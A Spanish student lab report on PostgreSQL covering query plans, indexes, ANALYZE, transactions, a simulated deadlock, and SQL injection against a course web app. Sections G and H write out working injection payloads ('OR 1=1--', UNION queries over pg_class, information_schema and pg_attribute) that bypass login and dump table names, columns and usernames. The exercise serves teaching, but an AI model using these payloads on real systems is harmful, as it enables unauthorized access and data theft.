

Práctica 4

APARTADO A

Sin índices

The screenshot shows the Oracle SQL Developer interface. In the top-left pane, there is a code editor with the following SQL query:

```
SELECT count(orderid) AS cc
FROM customers NATURAL JOIN orders
WHERE totalamount > 100 AND
EXTRACT(MONTH FROM orderdate)=4 AND
EXTRACT(YEAR FROM orderdate)=2014;
```

In the bottom-right pane, the "Data Output" tab is selected, showing the execution plan in text format:

```
1 Aggregate (cost=6702.86..6702.87 rows=1 width=4)
2 -> Nested Loop (cost=0.29..6702.85 rows=2 width=4)
3   -> Seq Scan on orders (cost=0.00..6686.23 rows=2 width=8)
4     Filter: ((totalamount > '100'::numeric) AND (date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision) AND
5   -> Index Only Scan using customers_pkey on customers (cost=0.29..8.30 rows=1 width=4)
6     Index Cond: (customerid = orders.customerid)
```

En este apartado hemos hecho un explain de esta consulta, con los datos que dicen como ejemplo, sin haber creado ningún tipo de índice.

Como vemos la consulta se compone de 2 filtros esenciales, uno que consulta que el totalamount y el order date cumplan las restricciones impuestas mediante un Seq Scan.

Y otra que consiste en un “Index Only Scan” para ver que coincidan el primary key de customers (customerid) con el campo del mismo nombre en orders.

Y en la parte más externa del arbol de nodos creado, podemos ver cómo se hace un NestedLoop para encontrar cada una de las filas resultado de la query, y luego usamos el aggregate (count) con esas filas.

Como vemos en la parte más externa, el coste inicial antes de obtener la primera tupla es de 6702,86 (debido al tiempo de filtrado descrito y de agregación) y el coste total estimado es de 6702,87 unidades, pues el tiempo de proceso está esencialmente ubicado en el procesamiento de las filas, no en imprimirlas.

Además se estima que recibirá 1 tupla como resultado (porque es un count) y nos dice que el tamaño estimado de las filas recibidas será de 4B (pues count devuelve un integer).

Con índices

The screenshot shows the Oracle SQL Developer interface. In the top-left pane, there is a code editor with the following SQL query:

```
CREATE INDEX idx_totalamount_orders ON orders(totalamount);
```

In the bottom-right pane, the "Data Output" tab is selected, showing the execution plan in text format:

```
1 Aggregate (cost=6061.33..6061.34 rows=1 width=4)
2 -> Nested Loop (cost=1754.69..6061.32 rows=2 width=4)
3   -> Bitmap Heap Scan on orders (cost=1754.41..6044.70 rows=2 width=8)
4     Recheck Cond: (totalamount > '100'::numeric)
5     Filter: ((date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision) AND (date_part('year'::text, (orderdat
6     -> Bitmap Index Scan on idx_totalamount_orders (cost=0.00..1754.41 rows=94665 width=0)
7       Index Cond: (totalamount > '100'::numeric)
8     -> Index Only Scan using customers_pkey on customers (cost=0.29..8.30 rows=1 width=4)
9       Index Cond: (customerid = orders.customerid)
```

Hemos probado con todos los índices relevantes que hemos encontrado, es decir, orderdate, totalamount y customerid, y hemos notado que el único que ha modificado los costes ha sido el de totalamount, pues, como vemos en la captura, ha disminuido el coste total e inicial a 6061 unidades

Podemos notar como se mantiene el filtro de que coincida el customerid, y el de que se busque por orderdate, pero para la parte del totalamount está haciendo uso del índice que hemos creado, haciendo que el coste para encontrar las filas del resultado disminuya notablemente.

Esto es debido a que con un índice creado, acceder a las filas que tienen un totalamount mayor a uno pedido, le resulta más sencillo, pues el índice guarda referencias a columnas con un cierto orden.

APARTADO B

Para todos estos apartados, hemos ejecutado la consulta en la pagina web con los valores por defecto que nos daban para los umbrales mínimo, intervalos,etc.

Sin Indices no preparada

Lista de clientes por mes

Número de clientes distintos con pedidos por encima del valor indicado en el mes 04/2014

Mayor que (euros)	Número de clientes
300	2
305	1
310	1
315	1
320	0

Tiempo: 290.78 ms

Como podemos ver aquí le cuesta casi 300 ms devolvernos la consulta.

Sin Indices preparada

Lista de clientes por mes

Número de clientes distintos con pedidos por encima del valor indicado en el mes 04/2014

Mayor que (euros)	Número de clientes
300	2
305	1
310	1
315	1
320	0

Tiempo: 225.92 ms

Usando prepare

Aquí podemos notar como el tiempo con respecto a no preparar la consulta, no es muy diferente, es más, dependiendo de la ejecución, hay veces que puede ser menor o mayor a hacerlo sin prepararla (en este caso es menor)

Con Indices No preparada

Lista de clientes por mes

Número de clientes distintos con pedidos por encima del valor indicado en el mes 04/2014

Mayor que (euros)	Número de clientes
300	2
305	1
310	1
315	1
320	0

Tiempo: 16.83 ms

En este apartado, podemos notar como el tiempo para ejecutar la consulta ha disminuido muy considerablemente, más de un factor 10 de reducción.

Esto es debido al índice para totalamount que creamos en el apartado anterior.

Con Indices Preparada

Lista de clientes por mes

Número de clientes distintos con pedidos por encima del valor indicado en el mes 04/2014

Mayor que (euros)	Número de clientes
300	2
305	1
310	1
315	1
320	0

Tiempo: 8.11 ms

Usando prepare

En este apartado hacemos uso de todo, los índices, y que esté preparada la consulta, y el resultado es que el tiempo de ejecución sea el menor de todas las que hemos hecho.

Tras ejecutar ANALYZE

Cuando generamos las estadísticas, no notamos un cambio considerable en el tiempo de respuesta con respecto a las consultas anteriores.

Esto puede ser debido a que aún sabiendo las estadísticas sobre las tablas customers y orders, nuestro planificador considere que la forma de procesar la consulta no se pueda mejorar más en este caso.

APARTADO C

Hemos analizado estas consultas sin ningún índice creado

Consulta 1

```
select customerid
from customers
where customerid not in (
    select customerid
    from orders
    where status='Paid'
);
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Seq Scan on customers (cost=3961.65..4490.81 rows=7846 width=4)
2 Filter: (NOT (hashed SubPlan 1))
3 SubPlan 1
4 -> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
5 Filter: ((status)::text = 'Paid'::text)

En esta consulta la forma en que se opera internamente consiste en realizar la subconsulta dentro del not in (es decir, mirar los que tienen status=paid), y después aplicarle el filtro de coger todos los que no están en esa subquery.

Podemos destacar que lo que caracteriza a esta consulta, es que el coste inicial antes de imprimir datos es el alto, pues tiene que realizar la consulta de dentro del not in antes de poder empezar a recorrer las filas e imprimirlas.

Consulta 2

```
select customerid
from (
    select customerid
    from customers
    union all
    select customerid
    from orders
    where status='Paid'
) as A
group by customerid
having count(*) =1;
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 HashAggregate (cost=4537.41..4539.91 rows=200 width=4)
2 Group Key: customers.customerid
3 Filter: (count(*) = 1)
4 -> Append (cost=0.00..4462.40 rows=15002 width=4)
5 -> Seq Scan on customers (cost=0.00..493.93 rows=14093 width=4)
6 -> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
7 Filter: ((status)::text = 'Paid'::text)

En esta consulta vemos como primero hace SeqScan para hacer las 2 consultas más internas a unir, acto seguido, une las consultas con el “union all”, después filtra las que tienen count(*)=1 para una agrupación por customerid, y después muestra el resultado.

Esta consulta, se caracteriza por tener un coste inicial más alto que las demás, pues debe agrupar los resultados antes de empezar a imprimirlas.

Consulta 3

```
select customerid
from customers
except
select customerid
from orders
where status='Paid';
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 HashSetOp Except (cost=0.00..4640.83 rows=14093 width=4)
2 -> Append (cost=0.00..4603.32 rows=15002 width=4)
3 -> Subquery Scan on "*SELECT* 1" (cost=0.00..634.86 rows=14093 width=4)
4 -> Seq Scan on customers (cost=0.00..493.93 rows=14093 width=4)
5 -> Subquery Scan on "*SELECT* 2" (cost=0.00..3968.47 rows=909 width=4)
6 -> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
7 Filter: ((status)::text = 'Paid'::text)

Aquí vemos, como lo primero que hace es realizar las 2 consultas internas por separado, y después las resta usando “except”.

Esta consulta, comparada con la primera, tarda menos en empezar a imprimir filas, pues al recorrer la misma tabla a la vez (en 2 subconsultas simultáneas), puede ir imprimiendo las filas correctas mientras lo recorre.

En general las consultas 1 y 3 (que hacen lo mismo) tardan un tiempo parecido en realizarse en estos casos (tardando la primera ligeramente menos), pero podemos señalar que la primera consulta sería menos eficiente, en el caso en que nos interese limitar el número de filas en la salida, pues antes de empezar a imprimir, debe realizar un procesamiento muy largo de dentro del not in, mientras que la consulta 3 con su except, puede ir imprimiendo según recorre la tabla, y así parar cuanto antes.

La segunda consulta imprime un resultado diferente a la de las demás, y por tanto, no podemos comparar rendimiento de forma tan objetiva como con las otras 2, pero sí podemos señalar que es la que mayor coste inicial tendría antes de empezar a mostrar filas, pues tiene que agrupar sus resultados después de recorrer todas las tablas para crear el resultado, y después de eso, ya puede ir mostrando el resultado.

APARTADO D consultas sin indices

```
select count(*)  
from orders  
where status is null;
```

Output pane

Data Output Explain Messages History

QUERY PLAN	
	text
1	Aggregate (cost=3507.17..3507.18 rows=1 width=0)
2	-> Seq Scan on orders (cost=0.00..3504.90 rows=909 width=0)
3	Filter: (status IS NULL)

```
select count(*)  
from orders  
where status = 'Shipped';
```

Output pane

Data Output Explain Messages History

QUERY PLAN	
	text
1	Aggregate (cost=3961.65..3961.66 rows=1 width=0)
2	-> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=0)
3	Filter: ((status)::text = 'Shipped'::text)

En estas consultas simplemente añadimos una condición de filtrado en la tabla, a la hora de buscar los elementos, esperando encontrar el mismo número de elementos. Aunque la diferencia radica en que al buscar secuencialmente, el que busca en status un NULL tarda un poco menos, porque no tiene que comparar cadenas como hace segunda consulta, que está obligada a procesar la cadena ‘Shipped’ entera para asegurarse de que encuentra las filas correctas

consultas con indice status

```
select count(*)  
from orders  
where status is null;
```

Output pane

Data Output Explain Messages History

QUERY PLAN	
	text
1	Aggregate (cost=1496.52..1496.53 rows=1 width=0)
2	-> Bitmap Heap Scan on orders (cost=19.46..1494.25 rows=909 width=0)
3	Recheck Cond: (status IS NULL)
4	-> Bitmap Index Scan on idx_status_orders (cost=0.00..19.24 rows=909 width=0)
5	Index Cond: (status IS NULL)

```
select count(*)  
from orders  
where status = 'Shipped';
```

Output pane

Data Output Explain Messages History

QUERY PLAN	
	text
1	Aggregate (cost=1498.79..1498.80 rows=1 width=0)
2	-> Bitmap Heap Scan on orders (cost=19.46..1496.52 rows=909 width=0)
3	Recheck Cond: ((status)::text = 'Shipped'::text)
4	-> Bitmap Index Scan on idx_status_orders (cost=0.00..19.24 rows=909 width=0)
5	Index Cond: ((status)::text = 'Shipped'::text)

Una vez creado el índice, la diferencia entre costes disminuye, pues los índices guardan referencias a las filas donde sabemos que tenemos el valor de status con un cierto valor, y por tanto, no necesitamos comparar la cadena ‘Shipped’ con cada uno de los campos status de las filas que nos da el índice.

Consultas con índice status y ANALYZE ejecutado

```
select count(*)
from orders
where status is null;
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Aggregate (cost=7.25..7.26 rows=1 width=0)
2 -> Index Only Scan using idx_status_orders on orders (cost=0.42..7.24 rows=1 width=0)
3 Index Cond: (status IS NULL)

Aquí podemos ver como el coste ha disminuido mucho.

```
select count(*)
from orders
where status = 'Shipped';
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Aggregate (cost=4278.63..4278.64 rows=1 width=0)
2 -> Seq Scan on orders (cost=0.00..3959.38 rows=127701 width=0)
3 Filter: ((status)::text = 'Shipped'::text)

Aquí podemos ver que el coste ha aumentado considerablemente

La razón de estos cambios tras ejecutar ANALYZE radica en la naturaleza de ANALYZE, la cual genera estadísticas sobre la tabla orders, que luego utiliza para determinar los planes más eficientes en base a ellas.

En este caso, el comando ha detectado que el número de filas con STATUS a NULL es muy pequeño (concretamente no las hay), y el número de filas con status a 'Shipped' es más grande de lo estimado sin tener las estadísticas (si vemos el resultado de la consulta, veremos que conforman alrededor del 60% de la tabla).

Por estas razones, los EXPLAIN nos han ofrecido unos números tan dispares, pues se han generado estadísticas que nos dan unas aproximaciones más fiables para nuestras consultas.

Consultas adicionales apartado D

Sin indices ni analyze

```
select count(*)
from orders
where status = 'Paid';
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Aggregate (cost=3961.65..3961.66 rows=1 width=0)
2 -> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=0)
3 Filter: ((status)::text = 'Paid'::text)


```
select count(*)
from orders
where status = 'Processed';
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Aggregate (cost=3961.65..3961.66 rows=1 width=0)
2 -> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=0)
3 Filter: ((status)::text = 'Paid'::text)

Con indice para status

```
select count(*)
from orders
where status = 'Paid';
```

Output pane
Data Output Explain Messages History
QUERY PLAN
text
1 Aggregate (cost=1498.79..1498.80 rows=1 width=0)
2 -> Bitmap Heap Scan on orders (cost=19.46..1496.52 rows=909 width=0)
3 Recheck Cond: ((status)::text = 'Paid'::text)
4 -> Bitmap Index Scan on idx_status_orders (cost=0.00..19.24 rows=909 width=0)
5 Index Cond: ((status)::text = 'Paid'::text)

```

select count(*)
from orders
where status = 'Processed';

```

Output pane

Data Output Explain Messages History

QUERY PLAN

text

1	Aggregate (cost=1498.79..1498.80 rows=1 width=0)
2	-> Bitmap Heap Scan on orders (cost=19.46..1496.52 rows=909 width=0)
3	Recheck Cond: ((status)::text = 'Processed'::text)
4	-> Bitmap Index Scan on idx_status_orders (cost=0.00..19.24 rows=909 width=0)
5	Index Cond: ((status)::text = 'Processed'::text)

Con indice y estadisticas

```

select count(*)
from orders
where status = 'Paid';

```

Output pane

Data Output Explain Messages History

QUERY PLAN

text

1	Aggregate (cost=2311.49..2311.50 rows=1 width=0)
2	-> Bitmap Heap Scan on orders (cost=355.43..2266.64 rows=17937 width=0)
3	Recheck Cond: ((status)::text = 'Paid'::text)
4	-> Bitmap Index Scan on idx_status_orders (cost=0.00..350.95 rows=17937 width=0)
5	Index Cond: ((status)::text = 'Paid'::text)


```

select count(*)
from orders
where status = 'Processed';

```

Output pane

Data Output Explain Messages History

QUERY PLAN

text

1	Aggregate (cost=2954.00..2954.01 rows=1 width=0)
2	-> Bitmap Heap Scan on orders (cost=719.36..2862.73 rows=36509 width=0)
3	Recheck Cond: ((status)::text = 'Processed'::text)
4	-> Bitmap Index Scan on idx_status_orders (cost=0.00..710.24 rows=36509 width=0)
5	Index Cond: ((status)::text = 'Processed'::text)

En general, para ambas consultas notamos los mismos resultados que los de las consultas principales, es decir: Tras crear el índice para status, notamos como el coste estimado disminuye, como era de esperarse, pero al generar las estadísticas, sufre un efecto similar a la segunda consulta principal de este apartado, donde vemos que aumenta la estimación del coste, pues ahora se tienen unas estadísticas que nos ayudan a aproximarla mejor.

APARTADO E

customerid commit intermedio <input type="checkbox"/>	<input type="button" value="Enviar"/>
--	---------------------------------------

Borrado correcto

[Nueva consulta](#)

Esta es la forma que tienen esencialmente ambos php de borrado de clientes, donde si marcamos el commit intermedio, se hace. A la derecha podemos ver lo que se muestra si la consulta se realiza correctamente en `borraCliente.php`. Para que la consulta sea correcta, hay que realizar 3 consultas de borrado en un orden determinado, primero borrando las que no tienen referencias a otras tablas con datos, y así para atrás hasta la consulta principal. Concretamente, empezamos borrando las filas de orderdetail asociadas al orderid del customer, después borramos las filas de orders asociadas al customer, y después ya podemos borrar el customer en cuestión.

Ahora, el caso interesante es en el que la transacción falla, es decir, cuando el orden de las consultas no es el correcto, concretamente, lo que hemos hecho es permutar la segunda y tercera consulta.

```
Error!: SQLSTATE[23503]: Foreign key violation: 7 ERROR: update or delete on table "customers" violates foreign key constraint "orders_customerid_fkey" on table "orders" DETAIL: Key (customerid)=(2) is still referenced from table "orders".  
SELECT * FROM orderdetail WHERE orderid IN (SELECT orderid FROM orders WHERE customerid=2);
```

Esto queda en la tabla orderdetail:

```
112  
112  
112  
112  
112  
112  
110  
110  
110  
110
```

Esto es lo que se nos aparece cuando probamos, por ejemplo con el `customerid=2` y el `commit intermedio` desmarcado, por tanto, la única instrucción dentro de la transacción que funciona es la que borra de `orderdetail`, pero el problema está en que si no hay `commit intermedio`, se hace rollback, y podemos ver que la tabla permanece intacta.

Ahora si marcamos la casilla de `commit intermedio`, podemos ver cómo ha persistido la primera consulta, pues ahora nos aparece vacía la primera tabla que borramos.

```
Error!: SQLSTATE[23503]: Foreign key violation: 7 ERROR: update or delete on table "customers" violates foreign key constraint "orders_customerid_fkey" on table "orders" DETAIL: Key (customerid)=(2) is still referenced from table "orders".  
SELECT * FROM orderdetail WHERE orderid IN (SELECT orderid FROM orders WHERE customerid=2);
```

Esto queda en la tabla orderdetail:

APARTADO F

apartados a-g, j

En este apartado, una vez codificado todo lo necesario, para poder simular el deadlock, tendremos que jugar con las posiciones donde ponemos los sleep, concretamente, hemos puesto en borrarCliente.php un sleep dentro de la transacción, justo después de realizar la primera consulta, mientras que en updPromo.sql no es necesario ponerlo en principio, para poder conseguir un deadlock.

La forma teórica de conseguir simularlo, consiste en hacer que ambos procesos intenten modificar a la misma fila de la misma tabla a la vez, pero que la primera que llegue, se quede durmiendo para que el otro no pueda acceder.

En concreto, para simularlo, habría que introducir en la pagina de borraCliente.php un customerid, para borrar, y ejecutarlo, y justo después, hacer una consulta para hacer un UPDATE al atributo promo de la fila de la tabla customers con el mismo customerid que el que se introduce en el formulario del php (hay consultas para realizar el ejemplo en el fichero, con customerid=1).

Esta es la salida que nos saldría donde ejecutamos la consulta SQL

```
Data Output Explain Messages History
ERROR: deadlock detected
DETAIL: Process 6637 waits for ShareLock on transaction 22848; blocked by process 7238.
Process 7238 waits for ShareLock on transaction 22847; blocked by process 6637.
Hint: See server log for query details.
CONTEXT: while updating tuple (2176,137) in relation "orderdetail"
SQL statement "UPDATE orderdetail
    SET price = p.price * (1 - NEW.promo * 0.01)
    FROM products AS p, orders AS o
    WHERE NEW.customerid = o.customerid AND
        o.orderid=orderdetail.orderid AND
        orderdetail.prod_id=p.prod_id"
PL/pgSQL function updpromo() line 4 at SQL statement
*****
ERROR: deadlock detected
SQL state: 40P01
Detail: Process 6637 waits for ShareLock on transaction 22848; blocked by process 7238.
Process 7238 waits for ShareLock on transaction 22847; blocked by process 6637.
Hint: See server log for query details.
Context: while updating tuple (2176,137) in relation "orderdetail"
SQL statement "UPDATE orderdetail
    SET price = p.price * (1 - NEW.promo * 0.01)
    FROM products AS p, orders AS o
    WHERE NEW.customerid = o.customerid AND
        o.orderid=orderdetail.orderid AND
        orderdetail.prod_id=p.prod_id"
PL/pgSQL function updpromo() line 4 at SQL statement

*****
ERROR: deadlock detected SQL state: 40P01 Detail: Process 6637 waits for ShareLock on transaction 22848; blocked by... Unix Ln 23, Col 1, Ch 611      49 chars      31.1 secs
```

Como podemos ver, se ha producido el deadlock porque el proceso del php no le ha permitido acceder a la fila.

apartado h

Durante el bloqueo, si intentamos acceder desde otra sesión a la fila que se va a modificar, no veremos cambios de momento, pues la transacción en curso aísla sus cambios al exterior hasta que haya terminado y hecho commit.

Apartado i

Si miramos phpPgAdmin durante el bloqueo, podemos ver estos mismos procesos en bloqueo, con sus respectivos ids de proceso, durante los 20s del sleep. Vemos que concretamente el tipo de bloqueo es el RowExclusiveLock, es decir, el bloqueo exclusivo de una fila, de la que no se puede ni leer ni escribir en ese momento.

Esquema	Nombre de la tabla	ID de la transacción virtual	ID de la transacción	ID de proceso	Modo de bloqueo	¿Se mantiene el bloqueo?
public	customers	4/21	22974	3611	RowExclusiveLock	Si
public	customers_pkey	4/21	22974	3611	RowExclusiveLock	Si
public	orderdetail	4/21	22974	3611	RowExclusiveLock	Si
public	orderdetail	4/21	22974	3611	ExclusiveLock	Si
public	orders	4/21	22974	3611	AccessShareLock	Si
public	orders_pkey	4/21	22974	3611	AccessShareLock	Si
public	products	4/21	22974	3611	AccessShareLock	Si
public	products_pkey	4/21	22974	3611	AccessShareLock	Si
public	orderdetail	5/24	22973	6115	RowExclusiveLock	Si
public	orders	5/24	22973	6115	AccessShareLock	Si
public	orders_pkey	5/24	22973	6115	AccessShareLock	Si

apartado k

Para evitar los problemas de los bloqueos, hay varias alternativas, que consisten esencialmente en estructurar las transacciones de una forma más segura.

Entre otras, hay que conseguir que cada transacción tarde el mínimo tiempo posible en terminar sus respectivas acciones (en este caso por culpa de los sleep es muy ineficiente).

También estaría bien si los triggers que modifican otras tablas cuando su tabla es modificada, estuvieran bien organizadas, evitando bloqueos circulares, es decir, que no haya casos en los que un trigger A, modifique una tabla y active el trigger B, el cual modifica una tabla que hace que se active el trigger A de nuevo, etc.

Para evitar esto, también estaría bien gestionar qué acciones corresponden a cada transacción, intentando agruparlos de forma que eviten bloqueos, por ejemplo, agrupando la funcionalidad de los triggers A y B anteriormente descritos en un único trigger, lo cual arreglaría su interbloqueo.

APARTADO G

apartado a y b

En este apartado a, hemos insertado en el campo de contraseña el comando: ' OR 1=1--

Ejemplo de SQL injection: Login

Nombre:
Contraseña:

Resultado

select * from customers where username='gatsby' and password=' OR 1=1--'

Login correcto

1. First Name: pup
Last Name: nosh
2. First Name: tidily
Last Name: hah
3. First Name: cancun
Last Name: wadi
4. First Name: zany
Last Name: moray
5. First Name: have
Last Name: rain
6. First Name: jeff
Last Name: andre
7. First Name: dina
Last Name: fill
8. First Name: hoar
Last Name: oise
9. First Name: brook
Last Name: boyd
10. First Name: hawley
Last Name: bra

El resultado es este, podemos ver el comando utilizado, y que se ha hecho login correcto y ha generado los datos dentro del login

La lógica tras usar esta contraseña radica en que conocemos el formato de la consulta que realiza, y que no hace ningún tipo de control para evitar que introduzcamos una password así.

Sabiendo lo anterior, hacemos que la comilla simple cierre el password, para poder añadir otra condición al WHERE de la consulta.

1=1 siempre se cumple, por tanto, eliminamos el filtro, y se nos muestran todos los usuarios.

El -- lo que hace es comentar todo lo que venga detrás de la consulta.

En este apartado b hemos insertado en el campo de nombre el mismo comando anterior

Ejemplo de SQL injection: Login

Nombre:
Contraseña:

Resultado

select * from customers where username=' OR 1=1--' and password='

Login correcto

1. First Name: pup
Last Name: nosh
2. First Name: tidily
Last Name: hah
3. First Name: cancun
Last Name: wadi
4. First Name: zany
Last Name: moray
5. First Name: have
Last Name: rain
6. First Name: jeff
Last Name: andre
7. First Name: dina
Last Name: fill
8. First Name: hoar
Last Name: oise
9. First Name: brook
Last Name: boyd
10. First Name: hawley
Last Name: bra

Hemos conseguido que el comando sea ambivalente en los 2 casos, gracias al -- al final de la línea, pues en el otro era opcional, pero en este es necesario, porque de esta forma, eliminamos tener que comprobar la condición del password, y la consulta funciona análoga a la anterior, incluso mejor, pues no tenemos que introducir una password siquiera para que funcione.

apartado c

Para evitar estos accesos indebidos, lo que podríamos hacer es escapar los caracteres especiales recibidos por php, o en general limpiar las entradas antes de usarlas en la consulta (en este caso, escapar las comillas simples).

APARTADO H

apartado a y b

En este apartado usaremos este comando:

'AND 0=1 UNION SELECT relname FROM pg_class;--'

Ejemplo de SQL injection: Información en la BD

Películas del año:

```
select movietitle from imdb_movies where year = " AND 0=1 UNION SELECT relname FROM pg_class;--"
1. pg_conversion_oid_index
2. pg_ts_parser_oid_index
3. pg_stat_user_indexes
4. pg_ts_dict
5. pg_amop
6. pg_toast_1255_index
7. pg_tablespace
8. pg_toast_24247
9. user_defined_types
10. role_table_grants
11. pg_language_name_index
12. pg_depend_reference_index
13. pg_extension_name_index
14. pg_stat_sys_indexes
15. pg_roles
16. column_domain_usage
17. pg_toast_24316_index
18. pg_statio_sys_tables
19. foreign_table_options
20. pg_cast_oid_index
21. pg_conversion_default_index
22. products_prod_id_seq
23. pg_index_indexrelid_index
24. imdb_directors
25. pg_statio_all_sequences
26. pg_largeobject_metadata
27. pg_statio_sys_sequences
28. pg_toast_12299
```

Así se nos muestra el nombre de todas las tablas del sistema al introducirlo en la búsqueda de año.

Esto es debido a que al añadir la condición 0=1 al WHERE anulamos la consulta anterior, haciendo que no devuelva nada, y aprovechamos para añadir mediante un UNION nuestra propia consulta personalizada, teniendo en cuenta que la consulta espera una sola columna como resultado.

Apartado c,d

Aquí usaremos este comando en el form, que no está formado como pide el enunciado (pues no hemos conseguido hacerlo así) pero ofrece el mismo resultado esperado:

'AND 0=1 UNION SELECT table_name
FROM information_schema.tables
WHERE table_schema='public'
AND table_type='BASE TABLE';--'

La consulta consiste principalmente en seguir la misma técnica que el anterior para obtener una esta otra tabla, donde cogemos el nombre de todas las tablas del sistema, y filtramos las que tienen *table_schema='public'*, es decir, las tablas que nos son relevantes de la base de datos, las que no son de sistema.

Ejemplo de SQL injection: Información en la BD

Películas del año:

```
select movietitle from imdb_movies where year = " AND 0=1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE';--"
1. customers
2. imdb_actormovies
3. imdb_actors
4. imdb_directormovies
5. imdb_directors
6. imdb_moviecountries
7. imdb_moviegenres
8. imdb_movielanguages
9. imdb_movies
10. inventory
11. orderdetail
12. orders
13. products
```

Tras ejecutar el comando, nos salen estos nombres de tablas, de la que seleccionamos la que se llama *customers*, pues sospechamos que allí tenemos los datos de los clientes.

Apartado e-h

Para obtener el nombre de las columnas de la tabla seleccionada, usaremos este comando en el formulario php

```
'AND 0=1 UNION
SELECT attname FROM pg_attribute WHERE
attrelid IN(
SELECT oid FROM pg_class
WHERE relname='customers');--'
```

Siguiendo la técnica del union anterior, el comando consiste en 2 consultas, la más interna, obtiene el oid de la tabla customers, y con ese oid, somos capaces de sacar los nombres de los atributos que comparten ese oid (son de la misma tabla customers).

Películas del año:

```
select movietitle from imdb_movies where year = " AND 0=1 UNION SELECT attname FROM pg_attribute WHERE attrelid IN( SELECT oid FROM pg_class WHERE relname='customers');--'
```

1. xmax
2. income
3. firstname
4. lastname
5. username
6. tableoid
7. customerid
8. xmin
9. creditcardtype
10. gender
11. region
12. country
13. cmax
14. phone
15. address2
16. creditcardexpiration
17. address1
18. city
19. zip
20. promo
21. state
22. creditcard
23. age
24. email
25. cmín
26. ctid
27. password

De este resultado, escogemos que el atributo que podríamos usar para identificar al usuario es el username.

Y con eso elegido, creamos la cadena de búsqueda:

```
'AND 0=1 UNION
SELECT username FROM customers;--'
```

Con la que obtenemos esta salida:

Ejemplo de SQL injection: Información en la BD

Películas del año:

```
select movietitle from imdb_movies where year = " AND 0=1 UNION SELECT username FROM customers;--'
```

1. lasso
2. sexist
3. nona
4. gatsby
5. plaza
6. marty
7. fixing
8. spill
9. signed
10. hovel
11. henry
12. jerome
13. marco
14. virago
15. lament
16. hoped
17. tutti
18. keen
19. adobe
20. peggy

apartado i

Aunque usáramos un combobox en lugar de un campo de texto, no podríamos evitar el problema, si el usuario conoce comandos como curl o wget, que mandan peticiones http por linea de comando, lo que hace que uno pueda sobrescribir el campo value del combobox con cualquier opción que teclee, independientemente de los campos por defecto que use. Con el método GET se podría pasar fácilmente los parámetros que se deseen por la URL misma de la petición http, pero aunque hiciéramos obligatorio usar POST, mediante dichos comandos curl o wget, hay flags para poder pasar parámetros en el mismo comando.

En conclusión, ambas modificaciones hacen que sea ligeramente más seguro para un atacante poco informado, pero al final, no solucionan el problema, pues se pueden ignorar estas restricciones fácilmente.